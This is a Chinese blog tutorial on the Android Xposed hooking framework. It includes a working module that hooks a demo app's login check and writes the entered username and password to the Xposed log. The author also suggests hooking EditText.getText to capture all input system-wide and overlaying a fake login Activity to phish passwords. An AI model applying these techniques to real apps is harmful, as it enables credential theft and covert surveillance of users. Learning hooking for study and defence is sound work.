1. 程式人生 > >Android Hook神器——XPosed入門(登陸劫持演示)

Android Hook神器——XPosed入門(登陸劫持演示)

如果想飛得高,就該把地平線忘掉。

這裡寫圖片描述

前段時間寫了一篇有關於CydiaSubstrate的廣告注入的文章(地址:http://blog.csdn.net/yzzst/article/details/47318751),大家都直呼過癮。但是,真正瞭解這一方面的同學應該這道,其實還有一個比CydiaSubstrate更出名的工具:XPosed。

不是因為Xposed比CydiaSubstrate做的多好,而是Xposed是徹底開源的。今天,我們就向大家簡單的介紹一下Xposed,並書寫一個簡單的登陸劫持demo,讓大家快速的入門學習Xposed。

Xposed

Xposed框架是一款可以在不修改APK的情況下影響程式執行(修改系統)的框架服務,通過替換/system/bin/app_process程式控制zygote程序,使得app_process在啟動過程中會載入XposedBridge.jar這個jar包,從而完成對Zygote程序及其建立的Dalvik虛擬機器的劫持。

基於Xposed框架可以製作出許多功能強大的模組,且在功能不衝突的情況下同時運作。

此外,Xposed框架中的每一個庫還可以單獨下載使用,如Per APP Setting(為每個應用設定單獨的dpi或修改許可權)、Cydia、XPrivacy(防止隱私洩露)、BootManager(開啟自啟動程式管理應用)對原生Launcher替換圖示等應用或功能均基於此框架。

Xposed框架是基於一個Android的本地服務應用XposedInstaller與一個提供API 的jar檔案來完成的。

所以,安裝使用Xposed框架我們需要完成以下幾個步驟:

安裝本地服務XposedInstaller


需要安裝XposedInstall.apk本地服務應用,我們能夠在其官網的framework欄目中找到,下載並安裝。地址為:

安裝好後進入XposedInstaller應用程式,會出現需要啟用框架的介面,如圖8-5所示。這裡我們點選“安裝/更新”就能完成框架的激活了。部分裝置如果不支援直接寫入的話,可以選擇“安裝方式”,修改為在Recovery模式下自動安裝即可。

因為安裝時會存在需要Root許可權,安裝後會啟動Xposed的app_process,所以安裝過程中會存在裝置多次重新啟動。

TIPS:由於國內的部分ROM對Xposed不相容,如果安裝Xposed不成功的話,強制使用Recovery寫入可能會造成裝置反覆重啟而無法正常啟動。

下載使用API庫

其API庫XposedBridgeApi-.jar(version是XposedAPI的版本號,如我們這裡是XposedBridgeApi-54.jar)檔案,我們能夠在Xposed的官方支援xda論壇找到,其地址為:

下載完畢後我們需要將 Xposed Library 複製到 lib目錄(注意是 lib 目錄不是Android提供的 libs 目錄),然後將這個 jar 包新增到 Build PATH 中

如果直接將jar包放置到了libs目錄下,很可能會產生錯 誤“IllegalAccessError: Class ref in
pre-verified class resolved to unexpected
implementation”。
估計Xposed作者在其框架內部也引用了BridgeApi,這樣操作避免重複引用。

實戰,登陸劫持(原理)

登陸劫持!!!,你沒聽錯,今天我們這裡就簡單的演示一下,如何對一個應用程式的登陸功能進行劫持,並把賬號密碼打印出來。

如我們常見的登陸劫持,就是使用到了Hook技術來完成的。那麼這個登陸劫持是如何完成的呢?下面我們就具體來看看,一個我們在開發中常見到的登陸例子。首先我們看看一個常見的登陸介面是什麼樣子的。

其對應的登陸流程程式碼如下所示:

// 登陸按鈕的onClick事件
mLoginButton.setOnClickListener(new OnClickListener() {

    @Override
public void onClick(View v) {
    // 獲取使用者名稱
        String username = mUserEditText.getText() + "";
        // 獲取密碼
        String password = mPasswordEditText.getText() + "";

        if (isCorrectInfo(username, password)) {
            Toast.makeText(MainActivity.this, "登陸成功!", Toast.LENGTH_LONG).show();
        } else {
            Toast.makeText(MainActivity.this, "登陸失敗!", Toast.LENGTH_LONG).show();
        }
    }
});

我們會發現,登陸介面上面的使用者資訊都是儲存在EditText控制元件上,然後通過使用者手動點選“登陸”按鈕才會將上面的資訊傳送至伺服器端去驗證賬號與密碼是否正確。這樣就很簡單了,黑客們只需要找到開發者在使用EditText控制元件的getText方法後進行網路驗證的方法,Hook該方法,就能劫持到使用者的賬戶與密碼劫了。

TIPS:當然,我們也可以仿照上之前CydiaSubstrate的廣告注入例子(地址:http://blog.csdn.net/yzzst/article/details/47318751),做一個一模一樣的Activity,在劫持原Activity優先彈出來,達到欺騙使用者獲取密碼的目的。

具體流程如下:

實戰,登陸劫持(編碼)

明白了原理下面我們就實際的操作一次,這裡我們選擇使用Xposed框架來操作。使用Xposed進行Hook操作主要就是使用到了Xposed中的兩個比較重要的方法,handleLoadPackage獲取包載入時候的回撥並拿到其對應的classLoader;findAndHookMethod對指定類的方法進行Hook。它們的詳細定義如下所示:

  /**
     * 包載入時候的回撥
     */
public void handleLoadPackage(final LoadPackageParam lpparam)


/**
     * Xposed提供的Hook方法
     * 
     * @param className 待Hook的Class
     * @param classLoader classLoader
     * @param methodName 待Hook的Method
     * @param parameterTypesAndCallback hook回撥
     * @return 
     */
Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback) 

當然,我們使用Xposed進行Hook也分為如下幾個步驟:

1. 在AndroidManifest.xml檔案中配置外掛名稱與Api版本號

<application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >

        <meta-data
            android:name="xposedmodule"
            android:value="true" />
        <!-- 模組描述 -->
        <meta-data
            android:name="xposeddescription"
            android:value="一個登陸劫持的樣例" />
        <!-- 最低版本號 -->
        <meta-data
            android:name="xposedminversion"
            android:value="30" />
</application>

2. 新建一個入口類並繼承並實現IXposedHookLoadPackage介面

如下操作,我們新建了一個com.example.loginhook.Main的類,並實現IXposedHookLoadPackage介面中的handleLoadPackage方法,將非com.example.login包名的應用過濾掉,即我們只操作包名為com.example.login的應用。如下所示:

public class Main implements IXposedHookLoadPackage {

    /**
     * 包載入時候的回撥
     */
    public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {
        // 將包名不是 com.example.login 的應用剔除掉
        if (!lpparam.packageName.equals("com.example.login"))
            return;
        XposedBridge.log("Loaded app: " + lpparam.packageName);
    }
}

3. 宣告主入口路徑

需要在assets資料夾中新建一個xposed_init的檔案,並在其中宣告主入口類。如這裡我們的主入口類為com.example.loginhook.Main

4. 使用findAndHookMethod方法Hook劫持登陸資訊

這是最重要的一步,我們之前所分析的都需要到這一步進行操作。如我們之前所分析的登陸程式,我們需要劫持就是需要Hook其com.example.login.MainActivity中的isCorrectInfo方法。我們使用Xposed提供的findAndHookMethod直接進行MethodHook操作(與Cydia很類似)。在其Hook回撥中使用XposedBridge.log方法,將登陸的賬號密碼資訊列印至Xposed的日誌中。具體操作如下所示:

import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;
public class Main implements IXposedHookLoadPackage {

    /**
     * 包載入時候的回撥
     */
    public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {

        // 將包名不是 com.example.login 的應用剔除掉
        if (!lpparam.packageName.equals("com.example.login"))
            return;
        XposedBridge.log("Loaded app: " + lpparam.packageName);

        // Hook MainActivity中的isCorrectInfo(String,String)方法
        findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class,
                String.class, new XC_MethodHook() {

                    @Override
                    protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
                        XposedBridge.log("開始劫持了~");
                        XposedBridge.log("引數1 = " + param.args[0]);
                        XposedBridge.log("引數2 = " + param.args[1]);
                    }

                    @Override
                    protected void afterHookedMethod(MethodHookParam param) throws Throwable {
                        XposedBridge.log("劫持結束了~");
                        XposedBridge.log("引數1 = " + param.args[0]);
                        XposedBridge.log("引數2 = " + param.args[1]);

                    }
                });
    }

}

5. 在XposedInstaller中啟動我們自定義的模組
編譯後安裝在Android裝置上的模組應用程式不會立即的生效,我們需要在XpasedInstaller模組選項中勾選待啟用的模組才能讓其正常的生效。如

6. 重啟驗證
重啟Android裝置,進入XposedInstaller檢視日誌模組,因為我們之前使用的是XposedBridge.log方法列印log,所以log都會顯示在此處。我們發現我們需要劫持的賬號密碼都顯示再來此處。

這裡寫圖片描述

TIPS:這裡我們是通過逆向分析該登陸頁面的登入判斷呼叫函式來完成Hook與劫持工作的。有些讀者應該想出來了,我們能不能直接Hook系統中提供給我們的控制元件EditText(輸入框控制元件)中的getText()方法進行Hook呢?這樣我們就能夠對系統中所有的輸入進行監控劫持了。這裡留給大家一個思考,感興趣的讀者可以嘗試一下。

最後,希望交流學習的,可以加一下我的個人微信,大家相互學習進步。

/*
* @author zhoushengtao(周聖韜)
* @since 2015年8月14 日 12:17:22
* @weixin stchou_zst
* @blog http://blog.csdn.net/yzzst
* @交流學習QQ群:341989536
* @私人QQ:445914891
/
這裡寫圖片描述

相關推薦

Android Hook神器——XPosed入門登陸劫持演示

如果想飛得高,就該把地平線忘掉。 前段時間寫了一篇有關於CydiaSubstrate的廣告注入的文章(地址:http://blog.csdn.net/yzzst/article/details/47318751),大家都直呼過癮。但是,真正瞭解這一

Android Hook框架Xposed入門

轉:http://chendd.com/blog/2016/05/15/learn_xposed/ 一.基礎知識        Xposed是Android平臺上較為出名的一個開源框架。在這個框架下,我們可以載入很多外掛App,這些外掛App可以直

Android hook神器frida

export 通過 func find UNC oid inter function dex 1.關於使用frida遇到的一些問題 如果出現以下錯誤: 可以通過以下方式關閉SELinux,在adb shell中執行: echo 0 > /sys/fs/s

Android學習筆記——View入門

1:什麼是View? (1)螢幕方塊內所顯示的內容,都可以稱為View或View的子類。(例如:TextView,Button等) 2:Activity怎麼獲取View的物件 (1)通過findById()方法獲取。(例如:TextView textView =  (Te

Android外掛化——Replugin入門

一、360Replugin簡介 RePlugin是一套完整的、穩定的、適合全面使用的,佔坑類外掛化方案,由360手機衛士的RePlugin Team研發,也是業內首個提出”全面外掛化“(全面特性、全面相容、全面使用)的方案。 其主要優勢有: 極其靈活:主程式無需升級(無

Android Hook框架Xposed詳解

1.2 Mechanism :原理 1.2.1 Zygote 在 Android 系統中,應用程式程序都是由 Zygote 程序孵化出來的,而 Zygote 程序是由 Init 程序啟動的。 Zygote 程序在啟動時會建立一個 Dalvik 虛擬機器例項,每當它孵化一個新的應用程式程序時,都會將

Android Architecture 1 -- Guide to App ArchitectureApp架構入門,示例程式碼演示

面臨的問題 Android的各大元件可以隨意跳轉,可不遵守順序。比如QQ分享調相簿APP,相簿APP跳檔案管理APP。 還可能被系統殺死。所以最好 you should not store any app data or state in your app

android hook技術-Xposed框架 幫你輕鬆應對支付寶2016晒賬單

一、支付寶2016年賬單。 最近幾天微信朋友圈充斥著各式的支付寶2016賬單,對於程式設計師屌絲來說打開發現年度消費9W+,和他們動輒十幾萬的消費沒得比,細看更有80%的消費還都是還信用卡,頓時萬念俱灰啊!!!  有木有!!! 突然看到有人發出了負數的賬單,也是醉了。。。看

canvas入門繪制篇

ava 入門 draw itl close javascrip path res doctype 什麽是canvas?   canvas即畫布,HTML5的canvas元素可以在其矩形區域繪制圖像。 創建canvas,通過js創建context對象 <canvas

Android Studio中創建或添加第一個Hello World應用程序

創建過程 eight 過程 使用真機 項目路徑 應用程序 設備 ext 直接 下面我們將使用Android Studio創建第第一個簡單的Hello World應用程序。 1、打開Android Studio,加載畫面如下圖所示: 2、選擇”Start a new A

c#基礎入門算術運算符++ --

-1 clas num strong ron ack col line 操作符 運算符又名操作符是用於運算的符號,作用於一個或多個的操作數。(操作數:參與運算的數據。) 運算符++和-- ++,叫做自加運算符。比如今天22號,明年長了一天,用代碼寫出來是這樣: int

HBuilder入門構建h5+APP

pre 準備 nvi pan doc 打開 事件 build open if(window.plus) { plusReady(); } else { //plusready事件(自帶事件)調

一、ESP8266入門基於LUA開發

opera 包括 blog 情況 探索 到你 哈哈哈 打開 雜項 序 一入坑便停不下來。。。 還挺有意思的哈,233,,,, 資料雜,自己一個一個去找確實浪費了不少時間,而且大多還都是英文的,需要硬著頭皮看。 這次實踐入門,更是對英語的重要確信無疑。Github必

android TextView 分散對齊兩端對齊

import android.content.ClipboardManager; import android.content.Context; import android.content.res.TypedArray; import android.graphics.Paint; imp

Android執行命令列命令獲取系統Logcat

Android執行命令列命令 一、通過ProcessBuilder 1 String[] args = {"pm", "install", "-r", filePath}; 2 ProcessBuilder processBuilder = new Proce

Android之列印長日誌兩種方法

//第一種方式 //列印長的日誌 public static void LongLoge(String str){ int max_str_length=2001-NOTGREENDAO.length(); //大於4000時

Python基礎入門輸入和輸出

  #輸入和輸出 import math ​ str = input("請輸入:"); ​ print ("你輸入的內容是: ", str) print('常量 PI 的值近似為:%5.3f。' % math.pi) print('{0} 和 {1}'.format('Kobe', '

Unity學習Unity Shader入門基礎知識篇+線性代數複習未完待續

至於為什麼剛建立了指令碼,現在就要做Shader了。。說多了都是淚 1.建立一個新的材質 Material Assert -> Create -> Material 拖到Scene中的某個物體上 2.建立一個新的Shader Assert -> Create -

30款android開發高效必備工具附下載地址

工作高效是為了騰出更多個人時間。在android開發中,還真有些人氣小工具,能幫你快速解決問題,提高開發效率。 Vysor Vysor 是一個可以將手機的螢幕投影到電腦上,當然也可以操作,當我們做分享或者演示的時候,這個工具起到了作用。 Vector Asset And

Android獲取藍芽地址非mac地址

方法: public static String getBlueToothAddress(Context context){ return android.provider.Settings.Secure.getString(context.getContentResol